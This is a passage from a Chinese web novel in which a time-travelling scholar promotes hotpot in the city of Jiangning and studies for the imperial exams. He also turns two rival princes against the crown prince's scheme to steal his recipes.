林闲亲自示范,用长筷夹起一片羊肉,在翻滚如岩浆的红汤中“七上八下”快速涮烫。
那肉片瞬间变色卷曲,散发出诱人的光泽。
林闲将其在香油蒜泥碟中一蘸,放入口中细细咀嚼,脸上露出极度满足神情:“嗯!麻辣鲜香,嫩滑爽口,巴适得很!”
周知府看得食指大动,学着林闲样子小心夹起一片羊肉在红汤里涮了涮。
最后犹豫了一下,他还是蘸了点香油蒜泥,然后狠狠放入口中。
下一秒!
“唔!!!”
周知府的眼睛猛地瞪得像铜铃!
整个身体剧烈一震!
脸颊以肉眼可见的速度瞬间涨红,如煮熟的大虾。额头唰地一下渗出细密的汗珠!
他张着嘴哈着气,手忙脚乱想去抓茶杯,显然被那麻辣感冲击得措手不及!
“大人!大人您没事吧?”
旁边的师爷和随从吓得脸都白了,差点就要冲上来。
林承宗也捏了把汗,生怕他噎住。
足足过了好几息,周知府才哈出一口带着椒香的热气缓过来。
他非但没有恼怒,反而猛地一拍大腿,声音因为激动而有些变调:“嘶——哈!”
“妙!太妙了!此味……霸道!痛快! ”
“如烈火燎原,又如甘露洒心!这麻辣鲜香,层层叠叠在口中炸开,令人汗出如浆却又通体舒泰。 比那温吞水似的古董羹,强过百千倍!”
说完,周知府竟迫不及待又涮了一片羊肉。
他这次还特意在红汤里多涮了一会儿,蘸了更多的蒜泥香油再次送入口中。
一边嘶哈嘶哈地吸着气,一边眯着眼满脸享受:“过瘾!实在是过瘾!”
接着在林闲相邀下,他又尝试了平淡一些的清汤锅。
周知府涮了片青菜,品尝后亦是赞不绝口:“汤清味醇,鲜甜爽口,恰如一股清流与红汤相得益彰。此物,真乃神思妙想!”
两人边涮边聊,气氛热烈。
周知府吃得酣畅淋漓,早已顾不得官威。
他顺手解开官袍的领口,袖子也撸了起来,与林闲称兄道弟,大呼过瘾。
一旁的师爷和随从以及林家族人,看着自家三爷(府台)这般毫无形象大快朵颐的样子,想笑又不敢笑只能拼命忍着,对林闲这“火锅”的魔力更是佩服得五体投地。
三刻钟后。
酒足饭饱,周知府拍着圆滚滚的肚子,指着鸳鸯锅红光满面笑道:“此物大妙!不仅味美,这围炉共食的形式更是融洽气氛。若能在江宁府的大小酒楼推广开来,必是今冬一景,一桩大生意啊!”
他越说越兴奋,随后继续发挥灵感建议:“还有这红汤底料和蘸料,若能制成料包便于售卖,让百姓在家也能享用,这……这又是多大一笔利市!先生这次可是又点石成金了!”
林闲笑道:“周大人高见!此物成本可控雅俗共赏,正可丰富百姓餐桌,带动相关食材售卖。不如这推广之事就由大人牵头,在府城最繁华的地段,先设一家元启火锅旗舰体验店打响名头?所得利润自然按股分成,绝不会亏待大人这份‘伯乐’之功。”
周知府闻言,眼睛亮得跟火锅里的红油似的,仿佛看到白花花的银子流入腰包。
他激动举起酒杯承诺:“哈哈哈!好!太好了!林解元真乃我江宁之福星!总是能给人惊喜!就这么说定了!本官……不,周某就等着沾解元的光,当这‘火锅店’的股东了!来,为咱们这未来的‘火锅大业’,干杯!”
窗外寒风凛冽,屋内却火锅沸腾香气缭绕。
周知府直到深夜才打着饱嗝,心满意足地告辞。
临走前,他还死活让林承宗给他装了罐红汤底料和几包蘸料,说是“让夫人和同僚们也开开眼界,见识见识闲先生的神仙手艺!”
送走周知府,林承宗激动对林闲说:“爹!这火锅……简直神了!连府台大人都被征服了!咱们这生意,想不火都难啊!”
林闲看着窗外夜色,笑而不语。
周知府这条线,算是用一顿火锅彻底绑牢了。
看来元启商品帝国,可从江宁府开始,点燃这大周王朝冬天的第一把火了。
第140章 驱虎吞狼,布天罗地网戏东宫
冬日渐深,年关的脚步越来越近。
江宁城笼罩在一片节前的忙碌与湿冷的肃杀之中。然而,林闲的元启别院却仿佛独立于这片喧嚣与寒意之外。
白日里他两耳不闻窗外事,一心只读圣贤书。将各类经史子集、策论范文啃得滚瓜烂熟,几乎能倒背如流,为明年决定命运的春闱做最后的冲刺。
到了夜晚,他时而钻进工坊对着咕嘟冒泡的火锅底料进行精确到毫厘的配方微调,时而抱着他那把价值连城的紫檀木吉他,自弹自唱几首与这个时代格格不入、却直击灵魂的旋律,聊作消遣倒也自得其乐,仿佛一切尽在掌握。
这日午后,窗外天色阴沉得如同泼墨。
北风呼啸,卷着细小的雪粒砸在窗纸上,发出沙沙的声响,俨然一场大雪将至。
书房内,林闲正对着一卷《春秋公羊传》 蹙眉深思。
他的手指轻叩光滑的紫檀木书案,试图从那些微言大义中,揣摩出来年春闱可能的出题方向与陷阱。
忽然!
书房内烛火毫无征兆地微微一晃!
一道如同本身便是阴影凝聚而成的身影,没有发出丝毫声响,如鬼魅般悄无声息出现在书案前三尺之地,正是影刹。
她周身的气息与房间的昏暗完美融合,若非刻意显现,几乎无人能察觉其存在。
“先生。”影刹的声音低沉、清晰,仿佛带着地底寒泉的冷意,“京城密报,最高级别。”
林闲连眼皮都没抬一下,依旧看着书卷,只是极其随意地摆了摆另一只空着的手,示意她继续说。对于影刹这种神出鬼没的登场方式,他早已习以为常,如同呼吸般自然。
“太子周扬身边那几个惯会溜须拍马、搬弄是非、以揣摩上意为能事的近臣,尤其是那个素以‘急太子之所急’著称的少詹事刘鹏程,近来活动异常频繁,上蹿下跳,如同热锅上的蚂蚁。”
影刹语速平稳,但每一个字都像淬了冰的针尖,直刺要害:“他们不断在太子耳边煽风点火危言耸听,言说先生您凭借‘元启’系列日进斗金,富可敌城尚是谦辞,更手握香皂、花洒、清口胶、火锅乃至正在培育的足以颠覆胭脂水粉行当的多项独门绝技,堪称点石成金,获利之巨,已动国本。他们唾沫横飞地进言,说您如今与赵王、汉王过从甚密,资金往来庞大,俨然已成藩王外库,尾大不掉。长此以往,于东宫实为心腹大患,财源旁落,根基动摇!其言凿凿,其心可诛!”
林闲闻言,终于缓缓抬起头,嘴角勾起一抹冰冷到了极致,反而显出几分慵懒和讥诮的弧度,仿佛听到的不是关乎身家性命的密报,而是一个三岁稚童编造的、漏洞百出的拙劣笑话。
他培育的那些通过超越时代的杂交、嫁接等‘格物’手段精心改良出来的花卉,有的香气持久独特,可绕梁三日,有的花期反季,傲雪凌霜,正是他下一步打造高端香水、精油、养颜露等暴利奢侈品的核心原料,是他未来商业版图中利润最丰厚、最具想象空间的一块。太子的人,鼻子倒是挺灵,跟猎狗似的,手也伸得够长,够不要脸!
“太子意下如何?”林闲的声音平静无波,听不出半分喜怒,如同在询问今日的天气。
“太子虽未明发谕旨,强行索要——那吃相未免太过难看——但已默许,甚至可说是纵容刘鹏程等人‘见机行事,便宜行事’。”影刹顿了顿,语气凝重了三分,“据我们打入东宫核心的‘钉子’冒死传出的绝密线报,刘鹏程已暗中网罗了一批擅长鸡鸣狗盗、飞檐走壁,更兼精通农事园艺的‘专业人士’,许以重利,恐不日便会伪装成商队、花匠、流民等身份,分批潜入江宁。他们的首要且核心目标,便是您的工坊核心区域、配方密室以及城郊那几处有死士看守的秘密花圃。意在盗取关键花种、窥探核心配方、若事不可为,甚至不惜纵火破坏,玉石俱焚!”
“想偷我的技术,断我的财路?还想玩阴的?甚至要砸我的锅?”
林闲眼中寒光乍现,如万年寒冰折射出的锋芒,锐利得刺人!
他周身儒雅气质陡然一变,散发出一种久居上位的凛然威势!
“看来咱们的太子殿下,是觉得我林闲平日里太过和气生财,脾气好到可以随意拿捏了。”
他冷哼一声,声音不大,却让整个书房的温度仿佛都降了几分。
“敬酒不吃吃罚酒。给脸不要脸!既然他想玩阴的,不讲规矩,那就别怪我把这潭水搅得更浑,看看最后淹死的,到底会是谁!”
他沉吟片刻,指节的叩击声停顿。随即脑中思绪电转,如同超级计算机般瞬间推演了无数种可能。
一个借力打力、驱虎吞狼、一石数鸟的绝妙计策,已然清晰成型。
既然太子不讲武德,想吃独食,那就别怪他把另外两位“大股东”也拖下水,大家一起玩玩!
“影刹!”
林闲蓦然起身,走到窗前负手而立。
“在!先生!”
收到消息的影刹,早已赶来听令。
林闲望着窗外灰蒙蒙、压抑得令人窒息的天空,语气强硬部署道:“你立刻帮我去办两件事!”
林闲的声音不高,却字字如锤,敲打在寂静的空气里。
“第一!”
他伸出一根手指,“将我工坊和那几处关键花圃的所有明哨、暗卡、机关消息、陷阱阵法,全部给我加强一倍!不,三倍! 尤其是那些我亲手标记的‘特殊’母本植株和藏在密室深处的‘优化’种子库,给我看得死死的!连只苍蝇都不许飞进去!”
他顿了顿,嘴角泛起一丝冷酷:“但要外松内紧,做出寻常戒备、甚至略有松懈的假象,不必打草惊蛇。我倒要看看,是哪些不知死活、瞎了狗眼的蠢贼,敢来太岁头上动土!”
“第二!”
林闲豁然转身,目光如两道实质的电光,灼灼锁定影刹道:“你设法通过绝对可靠、单线联系、即便暴露也追查不到我们头上的隐秘渠道,将太子周扬觊觎元启核心技艺与珍稀花种,欲派爪牙行鸡鸣狗盗之事断大家财路这个消息,不经意但务必确保其透露给赵王府和汉王府安插在江宁的最高级别耳目。要让他们深信不疑——太子此举,损害的绝不仅仅是我林闲的个人利益,更是他们赵王汉王系未来能从‘元启这棵参天摇钱树上分得的巨额红利。这是在断他们的财路,挖他们的墙角,打他们的脸!”
影刹眼中闪过震惊与崇拜的光芒,她瞬间领会了林闲这招的狠辣与精妙!
“先生神机妙算! 您是想借赵王和汉王之手,来对付太子派来的人?让他们狗咬狗,两虎相争,而我们则稳坐钓鱼台,坐收渔翁之利?甚至……还能借此试探那两位的诚意和实力?”
影刹小心猜测道。
“不错!”
林闲嘴角那抹冷笑愈发明显,带着一种洞悉一切、掌控全局的自信:“驱虎吞狼,方为上策!隔岸观火,才是智者所为! 让赵王和汉王知道——保护我林闲的技术和花圃,就是保护他们自己的钱袋子!就是维护他们未来的权势和地位! 太子的人想来偷抢?那就先得问问赵王府蓄养的那些杀人不眨眼的江湖暗卫和汉王麾下那些从尸山血海里爬出来的边军精锐答不答应!”
他摸着胡茬,语气带着一丝玩味:“我们只需稳坐中军帐,静观其变即可。说不定还能借此良机,好好称一称那两位‘合作伙伴’的斤两。看看他们到底是真龙,还是草蛇。”
“先生算无遗策,属下五体投地! 属下定将此计执行得滴水不漏,天衣无缝!”
影刹心悦诚服,深深躬身。
随后她身影一晃,再次消失不见。
影刹走后,一直在门外候着林承宗,这才踮着脚尖走进来,脸上写满担忧与后怕:“爹,太子那边来势汹汹,真要……真要如此硬碰硬吗?会不会……引火烧身啊?”
林闲淡淡瞥了他一眼,神色已恢复平静,甚至带着云淡风轻的从容。
他轻轻摆摆手,仿佛拂去一粒微尘:“承宗啊,你多虑了。”
林闲走到书案前,提起一壶香茗,咋摸了一口。
“太子此举,看似咄咄逼人势在必得,实则愚蠢至极自毁长城。”
林闲轻呷一口香茗,语气平淡却字字千钧笑道:“他以为能瞒天过海,却不知这天下没有不透风的墙,更没有我林闲算不到的局。他这一伸手看似是危机,实则是天大的转机。正好给了我一个进一步捆绑赵汉两王,并向他们展示我林闲无可替代价值的绝佳机会!危机永远只对弱者而言是灾难,对于强者它便是踏脚石!”
“爹……”
林承宗满脸钦佩。
林闲重新坐回大师椅上,优雅拿起那卷《春秋公羊传》淡然道:“让人盯着点便是,按计划行事。年底了,也该给咱们那两位合作伙伴送份大礼了。 你去库房挑些上等的年货,给赵王府和汉王府在江宁的大管事们,都送一份过去。礼数,要做足。”
林承宗看着自家爹的超凡气度,心中那点担忧早已烟消云散,取而代之的是汹涌澎湃的敬佩与狂热!
他激动应道:“孩儿明白了!这就去办!”
他心中狂呼:爹真乃神人也!翻手为云,覆手为雨!
林闲点点头,端起一杯茶不再言语。
书房内重归寂静,只有银霜炭燃烧时发出的轻微噼啪声,以及书页翻动的沙沙声。
林闲的目光重新落在那些文字上,仿佛刚才那场足以掀起惊涛骇浪的对话从未发生过一般。
但他知道,一张无形而致命的大网已经悄然撒下。
太子周扬这次不仅要偷鸡不成蚀把米,很可能还要崩掉几颗牙,惹上一身腥。
而他林闲正好可以借此东风,把这盘争霸天下的棋,下得更加波澜壮阔,更加……随心所欲!
第141章 吉他佐经义悟道,沸鼎暖寒冬炼心
太子那边的小动作虽激起些许涟漪,却丝毫未能打乱林闲的节奏。
林闲经过这段时间,逐渐深谙一个道理:在这风云变幻的世道,自身的硬实力才是安身立命的根本。
而眼下最硬的实力,莫过于在明年春闱中金榜题名,蟾宫折桂!
为此他为自己制定了一份独特的备考计划。
鸡鸣时分,当外面还笼罩在黎明前的黑暗与寒意中,林闲已然起身。
他用自制的“元启”香皂洁面,顿觉神清气爽。
再含上一粒“清口胶”,薄荷的清凉直冲脑海,驱散最后一丝睡意。
随后林闲便端坐于书房窗前,迎着熹微开始缓缓诵读经史。
他读书并非死记硬背,而是带着问题去读,揣摩圣贤立言的深意与时代背景,仿佛在与千年前的先贤隔空对话。
读至《论语》“学而时习之,不亦说乎?”时,林闲脑中不由自主就蹦出前世被无数学生吐槽的翻译:“学习之后经常复习,不也是很快乐的事吗?”
他差点没忍住笑出声,心中疯狂吐槽:“快乐?孔老夫子您怕不是对‘快乐’有什么误解?要是让前世那些被题海战术折磨到秃头的中小学生听到,非得跳起来反驳:‘这快乐给您,您要不要啊?’ ”
不过话说回来,要是复习都能像吃火锅、弹吉他这么快乐,那倒真是‘不亦说乎’了!
念及此他忽然觉得这“习”字,或许不该简单理解为“复习”。
林闲手指轻敲桌面,思绪飘飞:“说不定夫子本意,是学了道理,要时常在实践中练习印证。比如学了仁就要去扶老奶奶过马路……呃,是这个时代的扶老奶奶过马路。
这么一想,倒是合理多了。
看来后世的教育,多少有点跑偏啊,把实践出真知活生生搞成了刷题出高分。”
他越想越觉得有趣,不时摇头晃脑自语:“要是夫子穿越到现代,看到莘莘学子们日夜鏖战《五年高考三年模拟》,不知会作何感想?会不会捻须长叹:‘呜呼!吾之道,非题海之道也!’然后反手出一本《论语真题精讲》?”
想到这里林闲自己先乐了,觉得这画面不忍直视。
这番天马行空的联想,让他对这句经典有了别样的体会,诵读起来也带上了几分趣味。
午后,是研习策论的时间。
林闲广泛搜集近年来的朝廷邸报、地方奏疏乃至市井流言,结合经史大义,模拟策问题目,进行高强度的写作训练。
他的策论观点新颖逻辑缜密,往往能直指时弊,绝非那些空谈仁义的腐儒之见所能比拟。
傍晚,林闲则开启诗赋练习。
但他作诗,也与众不同。
林闲常常抱着自己那把吉他,对着窗外月色或激昂或低回地弹奏一段旋律。然后根据旋律的意境和节奏,即兴赋诗。
这种以乐入诗、音律相和的创作方式,使得他的诗作既符合格律,又充满了灵动的情感与画面感,时常有惊人之句迸发。
林闲终究不是那种头悬梁锥刺股的苦行僧式书生,在他看来,劳逸结合张弛有度方能持久。
备考之余,他自有其一套逼格拉满的放松之道。
这日林闲正斜倚在软榻上,一边翻阅《孟子》一边信手拨弄吉他琴弦。
当读到“我善养吾浩然之气”时,他指尖流淌出的并非清雅古琴之音,而是一段低沉有力的布鲁斯即兴,仿佛那“浩然之气”并非虚无缥缈,而是可感可触的磅礴力量。
林承宗轻手轻脚走进来为他续上热茶,看到父亲这般“不务正业”的样子,脸上不由露出几分担忧。
“爹!”
林承宗犹豫了一下,还是开口道:“您这般……白日弹这西洋乐器,晚间又常去厨房钻研那火锅底料……虽说劳逸结合,但眼下春闱在即,是否……是否有些过于闲散了?若是让外人知晓,恐有损您解元公的清誉啊。”
林闲闻言并未动怒,反而微微一笑放下书卷。
他将吉他轻轻置于一旁,随后笑道:“宗儿,你过来坐。”
林闲指了指旁边的绣墩,待林承宗坐下后才缓缓道:“清誉?呵呵,为父的清誉,何时需要靠‘头悬梁锥刺股’的苦相来维系了?”
他拿起茶杯,轻呷一口笑道:“那些腐儒皓首穷经,读了一辈子书,除了练就一身酸气,可曾读懂半分经世致用的真谛?他们眼中的清誉,不过是画地为牢,自欺欺人!”
“好像…也对…”
林承宗摸了摸头,若有所思。
林闲喝了口茶,继续点化自家奔小子道:“你可知何为真正的‘格物致知’?非是埋首故纸堆,而是要以天地万物为书卷,以百工技艺为注疏!”
他站起身负手踱步,气势全开道:“我读《孟子》养浩然之气,便以这吉他之音律,体会其‘至大至刚’的意境!我研《尚书》知治国艰难,便以这火锅之五味调和,感悟其‘允执厥中’的平衡之道。我习《孙子兵法》通晓机变,便以这商海浮沉周旋诸王,实践其‘奇正相生’的谋略!”
他猛地转身,直视还有些懵懂的儿子:“宗儿记住!真正的学问从不在书中,而在天地之间!真正的能力,不是背下多少圣贤言,而是能解决多少实际问题!你爹我弹琴能悟道,烹油能知理,这便是‘一理通,百理融’。这,才是读书人该有的格局和气象!那些死读书的,给他们十年,也赶不上为父弹一曲吉他、炒一锅底料所悟之深!”
林承宗被父亲这一番离经叛道却又道理十足的言论震得心神摇曳,张着嘴半天说不出话来。
“可是……父亲,毕竟春闱在即,考官们或许更看重正统……”
良久,
林承宗深吸一口气,讷讷道。
“正统?”
林闲嗤笑一声,语气中带着毫不掩饰的傲然:“何为正统?金榜题名就是正统!能为朝廷办实事、为百姓谋福祉就是正统!我林闲就算抱着吉他进考场,写出的策论,也能让那些老学究拍案叫绝。因为我的文章里,有市井烟火,有边关烽火,有工匠巧思,有这人间百态!而不是他们那些从故纸堆里扒拉出来的、早已发霉的迂腐之见!”
林承宗竖起大拇指,由衷赞道:“爹!不愧是我亲爹!”
似乎感觉需要进一步让自己的傻儿子开悟,晚间林闲化身美食研发官,再次把懵懂的林承宗也叫到厨房。
他指着翻滚的红油锅底,对林承宗道:“你看这锅底,牛油醇厚是根基。辣椒炽烈,是锋芒。花椒麻香,是变通。数十种香料交融,是包容。治国亦然,需法令严明懂得变通。 那些只会空谈‘仁政’的官儿,就像一锅白开水清淡无为,能顶什么用?”
他又拿起一碗调好的麻酱蘸料,继续开启现场教学:“这芝麻酱是底色,腐乳增咸鲜,韭菜花提味,香油画龙点睛。用人也是如此,要知人善任用其长处,相互配合方能成事。若像某些人,非要求手下的人都一个模子刻出来,那这火锅吃来还有什么滋味?”
林承宗看着父亲一边颠勺炒料,一边挥斥方遒,将治国理政的道理讲得如此生动透彻,如此……接地气,心中早已佩服得五体投地。他此刻才真正明白,父亲平日那些“不务正业”的背后,藏着何等深邃的智慧与洞察!
“父亲……孩儿……孩儿明白了!”林承宗激动地说,“父亲的学问,是活学问,是真本事!”
林闲满意点点头,拍了拍儿子的肩膀,语气缓和下来:“明白就好!所以不必在意旁人眼光。当你强大到足以制定规则时,你的行为,便是正统。 太子的人想来偷师?赵王汉王想拉拢?呵呵,尽管放马过来。他们看到的不过是皮毛,真正的核心,在这里。”
林闲嚼着清口胶指了指自己的脑袋,嘴角勾起一抹高深莫测的笑意:“而这里面的东西,他们偷不走,也学不会。”
窗外,寒风依旧凛冽.
屋内,麻辣鲜香弥漫.
伴随着父子间机锋交错的对话,温暖如春,更有一股昂扬向上的精气神在激荡。
林闲闲庭信步,向着春闱稳步前行。
他的从容,源于对自身实力的绝对信任,以及对未来道路“舍我其谁”的强大信念!
第142章 坐看虎斗,两王齐护摇钱树
影刹的效率高得惊人,堪称业界劳模。
关于“太子觊觎元启核心技术,欲行鸡鸣狗盗之事”的消息,通过数条互不交叉的渠道,被巧妙以各种“偶然”的方式出现。
比如某位赵王府门客“恰好”在酒楼听到隔壁桌吹牛,某位汉王心腹“偶然”截获一份“不慎遗失”的东宫密函。消息来源被处理得天衣无缝,堪比顶级编剧手笔,仿佛是从东宫内部不经意间泄露出来的,真实得令人发指,让人想不信都难。
然后在这些偶然下,各类紧急资料分别被呈上赵王周宸和汉王周阳的案头。
赵王府,书房内。
赵王周宸看着手中那份措辞精准、细节详实的密报,脸色阴沉得能直接上台演包公,连粉底都省了!
他将密报狠狠拍在名贵的紫檀木书案上,发出“啪!”的一声巨响,震得桌上的名贵茶杯都跳了三跳。
“好个太子!好个周扬!”
赵王的声音冰冷刺骨,压抑不住的怒火在胸腔里翻滚吼道:“手伸得可真长啊!都快赶上街边耍猴的了!竟敢把主意打到本王的钱袋子上来了!”
他眼中寒光闪烁,如淬了毒的匕首吐槽:“林闲的‘元启’,本王费了多少心思才搭上线,占着最大的份子,那是本王日后招兵买马、甚至简陋问鼎大宝的重要财源!是命根子岂容他东宫来染指?想断本王的根基?简直是癞蛤蟆想吃天鹅肉——痴心妄想!”
他豁然起身,宽大的袍袖带起一阵风,对垂手侍立在一旁的亲信下令道:“立刻加派一队最得力的暗卫,昼夜兼程,秘密潜入江宁。给本王像钉子一样,死死粘在工坊和那几处关键花圃周围!”
“诺!抓到后该如何…..”
亲信有些犹豫不定,进一步请示道。
赵王眼中杀机毕露,拍板授权道:“若发现有任何形迹可疑、看起来就不像好人的家伙,尤其是身上带着东宫那股子味的,不必请示给本王就地拿下!先废了手脚,让他们尝尝生活不能自理的滋味,再严加拷问! 务必要让太子的人知道,碰了不该碰的东西下场比得罪阎王爷还惨。本王要让他们来得了江宁,回不去京城!”
“是!属下遵命!定叫他们有来无回!”
亲信松了一口气,躬身领命退下布置去了。
与此同时,汉王府中。
气氛同样剑拔弩张,如同火药桶一点就炸。
汉王周阳一巴掌拍在厚重的帅案上,震得案上的兵符和令箭都跳了起来。
他怒极反笑:“好!好的很!咱们的太子殿下,什么时候也放下身段,干起这种下三滥的偷鸡摸狗勾当了?真是斯文扫地,颜面尽失!”
他虎目圆睁,看向麾下心腹爱将雷奔:“你听听!东宫那帮只会动嘴皮子的废物,想去动老子的‘后勤补给线’和‘小金库’!想断老子的财路,还想掐老子边军的物资来路?他娘的简直是老寿星吃砒霜——活得不耐烦了!”
雷奔声如炸雷,抱拳坚定道:“王爷下令吧!是剁了他们的爪子当下酒菜,还是直接挖个坑埋了肥地?”
汉王周阳大手一挥,命令简单粗暴:“你亲自带一队好手,给老子扮成商队护卫,大张旗鼓、敲锣打鼓地进驻江宁‘元启’货栈!明着是加强安保,暗地里给老子把林闲的工坊,特别是那些能下金蛋的香皂、清口胶作坊,看得比老子的中军大帐还严实!连只公蚊子都不许飞进去!”
他眼中凶光毕露,如同护食的猛虎补充道:“谁敢伸爪子,甭管他是东宫的还是哪宫的,就算是玉皇大帝派来的,也给老子当场剁了!把手给太子送回去!让他知道,边军的东西,都沾着血!不是他那帮只会之乎者也的废物点心能碰的!”
“得令!王爷放心!保证连只耗子溜进去都得是阉过的!”
雷奔狞笑一声,领命而去。
于是,在林闲仿佛在度假的备考背后….
江宁城的地下世界,一场围绕“元启”工坊和花圃的无声暗战,已然悄然拉开序幕,杀机四伏,堪比好莱坞大片前奏!
赵王府的精锐暗卫如幽灵般潜入江宁,化身为贩夫走卒、客栈伙计、更夫乞丐,甚至可能是路边的石狮子,布下了一张无苍蝇飞过都要分辨公母的监视网,昼夜不停盯着每一个可疑的目标,眼神比监控探头还犀利。
汉王府的边军好手,则在雷奔的带领下大摇大摆、以“元启货运镖师”的身份进驻。
他们身材魁梧得像铁塔,眼神锐利得像鹰隼,浑身散发着浓郁的沙场血腥气,将工坊和货栈守得如同铁桶一般。
太子派出的那批所谓的“专业人士”,尚未抵达江宁,便已不知不觉地陷入了赵王暗卫和汉王精锐精心编织的双重监视的天罗地网之中。
他们的一举一动,几乎都暴露无遗,跟现场直播没啥两样。
一旦他们敢有所行动,必将遭到来自两个方向的、雷霆万钧般、堪比降维打击的致命打击!
而刀光剑影的始作俑者——林闲则安然居于别院之中,仿佛对外界的一切浑然不觉,或者说根本不屑一顾。
书房内,茶香袅袅。
林闲时而凝神静气诵读经史,时而信手拨动吉他琴弦,弹奏一曲清越的旋律,时而钻进他的“格物实验室”小厨房,兴致勃勃调试着他的最新款“麻辣小龙虾火锅底料”(虽然暂时没小龙虾,但底料先研发着,这叫战略储备)。
管家有时跑来禀报:“老爷,外面似乎有些陌生面孔在工坊附近转悠,眼神贼溜溜的。”
或者一会林承宗来报:“汉王府来的雷爷手下似乎太警惕了些,刚才差点把个送菜的老农当探子给摁地上了。”
林闲听了只是淡淡一笑,轻轻吹开浮沫,语气平淡得仿佛在讨论今天白菜多少钱一斤:“无妨,稍安勿躁。”
他抿了口茶,慢悠悠笑道:“你没发现,最近咱们工坊周围热闹了许多?既有赵王爷派的热心街坊,日夜帮咱们盯着。又有汉王爷派的‘敬业镖师’,兢兢业业守着大门。这安保级别,都快赶上皇宫内院了。咱们得谢谢两位王爷的‘深情厚谊’才对。”
林承宗忍不住好奇问道:“爹,您就一点也不担心吗?万一……万一他们真打起来,殃及池鱼……”
林闲哈哈一笑道:“宗儿,你这担心,就好比杞人忧天。”
他拿起一本《论语》,信手翻开:“子曰:‘为政以德,譬如北辰,居其所而众星共之。’ 你明白这是什么意思吗?”
林承宗想了想:“是说以德行治国,就像北极星,安居其所,群星自然环绕拱卫。”
“悟性不错!”
林闲赞许地点点头,话锋一转眼中闪过狡黠:“那你想想,咱们的‘元启’,是不是就像那‘德政’?它带来的巨大利益,就是‘德’。赵王、汉王,还有那些靠着咱们吃饭的工匠、商贩,是不是就像‘众星’?”
他放下书卷,语气带着一丝戏谑:“现在,太子想跑来破坏这‘德政’,砸大家的饭碗,你觉得这些‘众星’——尤其是赵王汉王这两颗最亮的‘星’——会答应吗?他们自然会抢着去‘拱卫’!这就叫利益驱动,比道德说教好使一万倍! 所以,咱们稳坐北辰之位,看众星拱卫,岂不乐哉?”
林闲又拿起《孟子》,笑道:“孟子见梁惠王,王曰:‘叟不远千里而来,亦将有以利吾国乎?’孟子对曰:‘王何必曰利?亦有仁义而已矣。’ 听起来孟子好像不屑谈利,对吧?”
他看着儿子,意味深长教导:“可你想想,梁惠王如果真听了孟子的话,只讲仁义不讲利益,魏国能强大吗?不能!所以嘴上可以高喊仁义,但心里得明白,利益才是捆绑人心、驱动行为的硬道理。 咱们现在就是给了赵王汉王无法拒绝的‘利’,他们自然就得讲和咱们的‘仁义’(合作关系)。太子来抢利,就是破坏他们的‘仁义’,他们能不拼命?”
林承宗听着自家父亲这番引经据典、却又离经叛道、直指核心的言论,目瞪口呆,如同被打开了新世界的大门!
心中那点担忧早已烟消云散,只剩下无尽的敬佩与震撼!
能把圣人经典如此活学活用,用来解释江湖纷争,自家爹真是……神了!
冬雪渐融,春意悄临。
江宁城的空气中,弥漫着山雨欲来的紧张。
但更有一股越来越浓郁的火锅麻辣香味,宣告着“元启”的不可动摇。
林闲知道,他进京赴考搅动风云的时刻即将到来。
而江宁这片基业,自有那两位“热心”的王爷,替他“悉心看护”着….
他目光投向京城方向,嘴角勾起一抹意味深长的弧度……
第143章 巧设香艳宴,麻辣服众人
“元启火锅旗舰店”的筹备工作,在知府周大人打鸡血般全力推动下进展神速,堪称江宁商业史上的奇迹。
店面就选在秦淮河畔最繁华的地段,装修极尽雅致之能事。
亭台楼阁,小桥流水,不知道的还以为是哪家新开的顶级书院或私人会所,而非一家食肆。
开业在即,连牌匾都是周巡抚亲笔题写,金光闪闪,逼格直接拉满。
就在这万事俱备,只欠东风的时刻,周知府却带着忧虑找到了林闲。
“闲先生!”
周知府搓着手,脸上带着既兴奋又忐忑的复杂表情:“这火锅的滋味,尤其是那红汤锅,香辣过瘾酣畅淋漓。我是深有体会,拍案叫绝。只是……”
他话锋一转,面露难色担忧:“只是咱们江南的文人士子,向来崇尚清淡雅致,讲究个‘食不厌精,脍不厌细’,视辛辣为燥烈粗鄙之物,是市井脚夫所好,恐难登大雅之堂啊。”
见林闲若有所思,他抛出自己的所思:“我担心若一味主打这麻辣红汤,只怕那些自命清高、舌头娇贵的才子名士们,拉不下脸面,不肯轻易尝试。这开业头炮若是打不响,后续可就难了……”
林闲听罢,反而嘴角勾起一抹笑意。
他轻轻拂了拂衣袖,淡然宽慰道:
“周大人所虑,乃是常情。然‘雅’与‘俗’,从来并非泾渭分明,更非一成不变。琴棋书画是风雅,能让宾主大呼过瘾,难道就不是另一种风雅? 关键在于如何引导,如何包装,如何让这麻辣鲜香也变得‘雅’起来。”
见知府若有所思,林闲成竹在胸继续拍板道:“这样!请周大人以你我之名,三日后于新店设一‘冬尽春来·新味雅集’,广邀江宁名士——那些自诩风雅的书画名家、诗词大家、清谈名流一个都别落下。便说是有新式暖锅品尝,并有新奇歌舞助兴。届时林某自有安排,定叫他们心甘情愿地爱上这‘粗鄙’之物,还要求着咱们再来一顿!”
周知府见林闲智珠在握心中大定,连忙拍胸脯保证:“好!闲先生妙计!本官这就去办,定将这场面铺排得风风光光,雅致非凡!”
三日后,装修一新的“元启火锅”店内,张灯结彩,宾客云集。
被邀请来的皆是江宁地面有头有脸的文人墨客、书画名家、致仕老翰林,以及一些附庸风雅的士绅名流。
店内布置得清雅脱俗,焚着上好的檀香,播放着悠扬的古琴曲,俨然一场高规格的文化沙龙。
然而当宾客们看到桌中央那造型奇特、中间带烟囱的“鸳鸯沸鼎”,尤其是那半边滚滚翻腾、红油灼灼、椒香扑鼻的红汤锅时,不少人下意识地蹙起了眉头。
有几人还用扇子掩住了口鼻,脸上露出难以掩饰的嫌弃与疑虑。
“这……此物观之……甚是猛烈啊!”
一位须发皆白的老翰林捻着胡须,摇头晃脑地评价道。
“是啊!如此燥烈之物,食之恐伤脾胃,有违养生之道啊!”另一位注重保养的名士附和道。
“终究是商贾之物,难脱俗气……”
有人低声嘀咕。
宴会伊始,林闲与周知府、以及“恰巧”在江宁视察、被“盛情难却”邀请来的巡抚周大人一同现身。
三位重量级人物联袂出席,瞬间将雅集的规格提升到了顶峰!众人纷纷起身见礼,气氛顿时热烈而隆重。
林闲身着一袭月白长衫,玉树临风气度从容,他举杯环视全场,声音清越而富有磁性:“今日承蒙周抚台、周府台及诸位江宁高贤不弃,莅临这‘新味雅集’,林某倍感荣幸。”
他开门见山,毫不避讳:“今日不谈经义,只品新味,赏新舞。此物名为‘火锅’,尤以这红汤锅,取天地之辛辣,融百味之精华,最是驱寒活血,激发精神,荡气回肠!是否合诸君雅口,一试便知。林某在此立誓,若不合口,今日酒水茶点分文不取,权当林某向诸位赔罪!”
